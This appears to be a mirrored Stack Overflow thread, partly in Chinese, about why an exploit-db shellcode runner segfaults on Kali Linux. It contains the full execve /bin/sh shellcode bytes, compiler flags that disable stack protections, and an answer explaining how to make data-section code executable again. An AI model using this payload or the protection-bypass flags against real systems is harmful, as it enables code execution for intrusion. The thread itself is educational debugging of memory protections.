【问题标题】:What controls whether code stored in the data section can run or not?是什么控制存储在数据部分中的代码是否可以运行?
【发布时间】:2021-04-07 14:47:30
【问题描述】:

https://www.exploit-db.com/exploits/42179

#include <stdio.h>

unsigned char shellcode[] = "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05";

int main()
{
    int (*ret)() = (int(*)())shellcode;
    ret();
}

根据代码中的注释,gcc -fno-stack-protector -z execstack shell.c -o shell 应该是在#1 SMP Debian 4.9.18-1 (2017-03-30) x86_64 GNU/Linux 上编译代码。

我在尝试上述代码时收到以下错误。如何让它发挥作用?操作系统发生了哪些变化,使其不再工作?

$ uname -a
Linux kali 5.10.0-kali4-amd64 #1 SMP Debian 5.10.19-1kali1 (2021-03-03) x86_64 GNU/Linux
$ gcc -fno-stack-protector -z execstack shell.c -o shell
$ ./shell
Segmentation fault

编辑:似乎问题与kali linux有关。相同的二进制文件在 Ubuntu 64 位上运行。我尝试在 kali 上使用 gdb 单步执行二进制文件。

运行shellcode时会产生kali上的分段错误。

$ gdb -q shell
Reading symbols from shell...
(No debugging symbols found in shell)
(gdb) b main
Breakpoint 1 at 0x1129
(gdb) start
Temporary breakpoint 2 at 0x1129
Starting program: /tmp/shell

Breakpoint 1, 0x0000555555555129 in main ()
(gdb) disassemble main
Dump of assembler code for function main:
   0x0000555555555125 <+0>: push   %rbp
   0x0000555555555126 <+1>: mov    %rsp,%rbp
=> 0x0000555555555129 <+4>: sub    $0x10,%rsp
   0x000055555555512d <+8>: lea    0x2efc(%rip),%rax        # 0x555555558030 <shellcode>
   0x0000555555555134 <+15>:    mov    %rax,-0x8(%rbp)
   0x0000555555555138 <+19>:    mov    -0x8(%rbp),%rdx
   0x000055555555513c <+23>:    mov    $0x0,%eax
   0x0000555555555141 <+28>:    call   *%rdx
   0x0000555555555143 <+30>:    mov    $0x0,%eax
   0x0000555555555148 <+35>:    leave
   0x0000555555555149 <+36>:    ret
End of assembler dump.
(gdb) si 5
0x0000555555555141 in main ()
(gdb) disassemble main
Dump of assembler code for function main:
   0x0000555555555125 <+0>: push   %rbp
   0x0000555555555126 <+1>: mov    %rsp,%rbp
   0x0000555555555129 <+4>: sub    $0x10,%rsp
   0x000055555555512d <+8>: lea    0x2efc(%rip),%rax        # 0x555555558030 <shellcode>
   0x0000555555555134 <+15>:    mov    %rax,-0x8(%rbp)
   0x0000555555555138 <+19>:    mov    -0x8(%rbp),%rdx
   0x000055555555513c <+23>:    mov    $0x0,%eax
=> 0x0000555555555141 <+28>:    call   *%rdx
   0x0000555555555143 <+30>:    mov    $0x0,%eax
   0x0000555555555148 <+35>:    leave
   0x0000555555555149 <+36>:    ret
End of assembler dump.
(gdb) si
0x0000555555558030 in shellcode ()
(gdb) si

Program received signal SIGSEGV, Segmentation fault.
0x0000555555558030 in shellcode ()
(gdb) x/16bx 0x0000555555558030
0x555555558030 <shellcode>: 0x50    0x48    0x31    0xd2    0x48    0x31    0xf6    0x48
0x555555558038 <shellcode+8>:   0xbb    0x2f    0x62    0x69    0x6e    0x2f    0x2f    0x73

在 Ubuntu 上使用相同的二进制文件,shellcode 可以正常运行。

当我通过将shellcode放入堆栈来修改代码时,它可以在kali上运行。所以问题与数据中的代码是否可以运行有关。是什么控制了这种行为?

$ cat shell.c
#include <stdio.h>

int main() {
  unsigned char shellcode[] = "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05";
  int (*ret)() = (int(*)())shellcode;
  ret();
}

【问题讨论】:

  • tell the linker 应该允许堆栈与-z execstack 一起执行,这样就解释了堆栈变体的工作原理。但令我惊讶的是 Ubuntu 还将全局变量部分标记为可执行。

标签: c linux gdb kernel elf


【解决方案1】:

操作系统发生了哪些变化,使其不再工作?

过去是 readonly-data (.rodata) 与.text 一起被放入读取执行段。

要将shellcode 放入.rodata,您需要将其设为const

unsigned const char shellcode[] =  ...

我不认为没有const 的示例曾经有效。

一旦你把它放入.rodata,它就会在新系统上与-Wl,-z,noseparate-code 链接时工作(如果你的链接器不支持noseparate-code,那么它可能已经足够老了,这个例子可以在没有任何特殊的情况下工作标志)。

【讨论】:

    猜你喜欢
    • 2015-03-05
    • 2020-02-17
    • 2014-10-05
    • 2020-07-15
    • 2017-06-08
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2014-01-03
    相关资源
    最近更新 更多